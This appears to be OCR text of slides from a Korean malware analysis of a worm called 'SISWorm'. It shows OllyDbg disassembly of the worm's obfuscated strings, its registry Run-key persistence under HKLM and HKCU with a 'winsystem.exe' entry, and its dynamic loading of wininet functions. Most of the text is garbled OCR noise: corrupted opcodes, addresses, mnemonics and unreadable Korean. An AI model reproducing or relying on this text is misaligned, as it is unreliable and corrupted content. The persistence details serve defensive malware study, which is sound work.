Ge4ndcaF || > 2290 DBFEFFFF|| CHP ENTE PTR SSs [EBF-1261,EL

T TaI=Ta e Pk A ] TP T T o T WO o o s e O T I T Toan Pt
i 1 (|

Analyzing S15Warm: 28 heunstical procedures, 147 calls to known funchions

|
5) SiSWorm.004A46110 ¥+ SiSWorm.004A43D60 <ol A A3 #A=Egd 7|3e 5T Us
I 2 g AHEsH dA2ER 24 A A "o

{
SISWorm.004A4B0D("GerhkmfagWAuofcgecrhWKubpckgW0iffabhJafgucbWFib");
//Sof twyreWMicrosof tWWindowsWCur rentVersion#Run

S1SWorm.004A4B0D( "kubgyghaaa.qlg"); //winsmstemm.exe

RegOpenKeyEXA(HKEY_LOCAL_MACHINE, ~~~);

RegOpenKeyEXA (HKEY_CURRENT_USER, ~~~);

==
S o




OllyDbg - SISYYorm.exe — [CPU - main thread, module SI1SWorm]

File “iew Debug Pluging Options Window Help e
+: = .

=T X JJ bi ¥4 JJ 2 =i LIE[M|T|WH[c|/|K[B|R|..|5]

EEETETST=]1 o FE = (e

Bodndell|rs oe FSH EEP el e

eedndc1z|| o SBEC Hou EEF,ESF ECi

go4n4ci4|| L S1EC Aepoeoon| SUE ESP, A4 EGad

padndeinl] . 56 PUSH Est ER

aedndc1E|| . PUS Eor

Soanacic|| : 2hes ScFEEFFF| LER ERW,0WORD PTR S5t [EEP-A4] Eop

poandezz | . £5 Ded34Rpe | PUSH STElorm. BE4RIE06 RSCIT "GerhknfasAusfogerhsKibpokasoiffabhdar | oo

EEETEEER ] PUSH EAX BRI

andndczs|| . ES Eogdoooe | CALL SISWorn. BE4A4800

Ge4n4620|| . ED4E_DC LEA EAX,DWORD PTR S5t [EEP—241 EIF]

Sodnacon|| ;5 CoSS4mea | FUSH 9lbuerm. B4HzI0D ASCII “kubgvahqaa.qla” o o

ao4n46ZE|| . Ea FUSH EAX 2

Ge4n4c3c|| L EE D2edeeen | COLL SISWorm. SE404E e

Sodndcot|| . SEgt GetodAne HOD ESI.OWORD PR Do:L[<tADUAFISZ.ResOpe| ADVAPISZ.ReaOnenKeyEA SRS

podndcdi|] . s3td 18 ADD ESF. 16 B

Be4n4c44|] . S04 LER EAR,DWORD PTR SS:[EEP-41 Fa

godndedr|| . EF Bemoozon | Hbl, EDI.20008 aenl

aadndc4ac|| . PUSH EAX roHandle o of

Bansean|| © 22 PUSH_EDT Aoocess =» KEY_WRITE

aaqn4c4E || . 8085 SCFFFFFF| LEA EAX, OWORD PTR S5z [EBP-A41 EFL

ce4n4cs4 || L EA B OSH @ Rezerued = @ =Tal

aad4n4cEe|| . E@ FUSH EAX Subkey 11

Ge4n4cEr || . 68 pzeesese | PUSH Soooooes hkey = HKEY_LOCAL_MACHINE =

eadnassc|| . FEDE CALL ESI L ReoDpenkeuERA A

oodndctel| . secE TEST EAX.EAY SR

Ge4n4cca|| v 7d JE_SHORT. S1SWorm. BE4A4ETE 1o

Badndcez|| 1 E0ad Fe LEA ERX,OWORD PTR S5: [EEP-41 s

Ge4046EE || L Ea FUSH ER% roHand e =1 215

oe4n4ce6]| L E7 PUSH Access =» KEY_WRITE

azdn4cer || . EDSS SCFFFFFF| LER Enx OWORD FTR S5: [EEF-A41] Sric]

Ge4n4cen|| . 6A B FUS Reserved = @ Foul

ea4n4ceF || . 5@ PUSH Er Subkey

Godndcra|| . 8 mlespese | PUSH Sooooomi fikeu = HKEY_CURRENT_USER

ee4n4c7s|| - FFDE CALL ESI LR=alpenkeyExA

ea4n4c77 || . 5CE TEST EAX.EQX

Gadn4e7s || L FE 2 JNZ SHORT SIsliorm. Bo4ndens

ce4n467E || 3 EB4E @S FOU EAR,DWORD FTR

Badndcre|| . SbBa 1@e1eeo|LER EST.DWORD ETR DS:CEAWIiel

Ge4n4ce4|| . E& FUSH ESI [String

ge4n4555 || . FE1S 48194A02| CALL OWORD PTR OS: [<#KERMELZ2. lstrlenA>| Listrlenm

aE404c2E || L 4@ INE ERX =

aedndcsc|] . ca FUSH ERX [EufSize

Analyzing 515 orm: 28 heuristical procedures, 147 callz to known functions |

Paused

6) LoadLibrary, GetProcAddress& o] 83} GetProcAddress(InternetGetConnectedState),

LoadLibrary(wininet.dll) o] 4% 2=t}

OllyDbg - SISWorm_decompress. exe — [CPU — main thread. module S15%Worm_] -3l =l
File Miew erug Options  MWindow Help == =l
= == ?
I HF i | JJJJJ Hlic|l/|x[B|R|.. 8] =[] 2]
5 =l NEUEGE EE EYTE FTH S9: LESE+ Registers (FPUI
faeez|] - RET ERf-ECH ECH BE1ZFFEA
A4Ers|| X ARD EF%, ECR EEY CEFEEans
el RETH
4E4E77 | r§ 5B PlSH_ERBP EEE 221sFFEd
naers|| T BEECD 1ol EEF, ESP 257 FEEdad
SEEEE | [= BB <2 R EDI BoeEeSE -
n4gve|| 1 E04g BC LEA EG¥,DUDRD PTG S3: [EBF-441 . . EIF BB4A4970 SISWerr_.<Modu leEny
H9ESI|| ¢ &5 AeSdanme | PHSH STSHorm . madndd ASCII "kububgh.prs B0 LS e cemie R
nagsc(| I EE S1FFFFFF | CALL_SISWorm_.@@4A4B80 b & E2ggle s=hir gl £y
| | = s B g6 Of 8623 Z5hit & FE1
A4g=0|| 1 ED4s BC LER EFX,DWORD PTR 55: [EBP—441 £ Y P8 ggss g=bir gib B ELe
| = B e T8 55 B68E HOLL
EEV=EE] T POSH ERR [atod Le T
HeEsz|| T EE1S 1stmene| CACL GWORD FTR DS: [<GKERNELSZ. GetModu lel LEctHodu 1eHand Len B8 LactErr ERROR_HOD_MOT_FOUMD
aag2a|| 1 EEFE TEST ESI.ESL EFL @BBBB2E6 (MO, ME,ME,A, S, PE, L
Bl || ST PR AN TR (R 5TE empty —UNORH 2020 77ES7O7E
paeai(]l i-7E 1= JMz SHORT SIShlorm_, BO4n4BES SL Graad i CRTE CREEREE
AaERz|| 3 B045TBC LER ERR, DWORD PTR &5: LEEF-341 S Siraam Sk
AdEnel] - BB FUSH EHR i ERESme ST4 Zmpth +UNORM BEGE PE1E2ZED
A4EA7 || 1 FELS 2cim4Aes| CACL OWORD PTR DS: [<&KERMELZ2.Loadl ibralllcadl ibracun e oot SRR EEED MRl
Eeitctad | I Mod Bel BRs, STE fmpth B-OOOHODOE &
I EEFE TEST ESi, N :
E il T JETHERT" STSuorn_. ao4ndmET ST7 emprs +ONORL D025 80120AL9_
A Leed EF JE_SHORT SISWorm_. BB4R4EET ESl @988 Cond g b @ g por
= - CEA ERx,DNORD FIR. S5: LEEP—441 FCW B=¢F  Frec MERR,S3  Mask
A D e 2e554n00 BlsH SISiorm . mudaddas ASCIT ""UbhafbahSahDcbbash apGhmh ™
A4EC1|| 1 EE 4FFFFFFF | CALL SISWorm_ . BE4A4EE0
qndece(] o B35 FOF ECH
a4ecy || 1 ED4s BC LER EFKX,DWORD PTR S5: [EBP—441
call - &9 FOF ECH
A4ECE|] . S8 PUSH ERX ProcHamelrOrdinal
EEV=Tait| -1 POSH EST hFodu Le
A4ECO|| 1 FFLS S5im4Aen| CACL OWORD PTR DS: [<&KERMELZ2.GetProcAdi LEstProcAddresz
oz|| - =ste TEST EAR, EAX
A4E0s|| iv¥3 1a JE SHORT S1SWorm_. BE4A4EET
A4E07 || 2T ED40 Fo LER ECH,DUORD PTR 55: LEEFP—41
A4E0h|| D ER Ba FUSH 8 |
ool - s1 POSH ECH
A4E00|| 1 FEDa CACL ER
A4E0F || 1 Frbs AES EAX
A4EEl|| D 1ECAE SEE ERK, EAR
n4EEz|| I Erbg FEE ER
4pA4EES|| vEE B3 JHE SHORT SISWorm_.BadA4EER
Wl ERE PUSH =
n4EEs|| - BB POF EAW
n4EEn|| 3 BE POF EST
n4EEE|| - B35 LEAUE
n4EeC L E5 BETH
A4EED|r§ EE FOSH_EEF
nagee || ¢ EBEC Mol EEF, ESP
n4gFs|| D EIEC SUE ESF. 104
n4eFe || o S0SS CER ERx,DWORD PTR S5:[EBF-1841 _
p4EFc| |l ez @ PUSH Liag BufSize = 184 [(268.)
ail]: S8 POEH EAR FathEyffer -
T
1 % EaagégE;|RETURN To kerne o2, rrEs «
| =l 5E15FFCE| BaizDEsa -
[ | Pavzed




| Faused

tol B4 Alo] E(consult.skinfosec.co.kr) = A 43k},

9

[¢]

Q2

528 of
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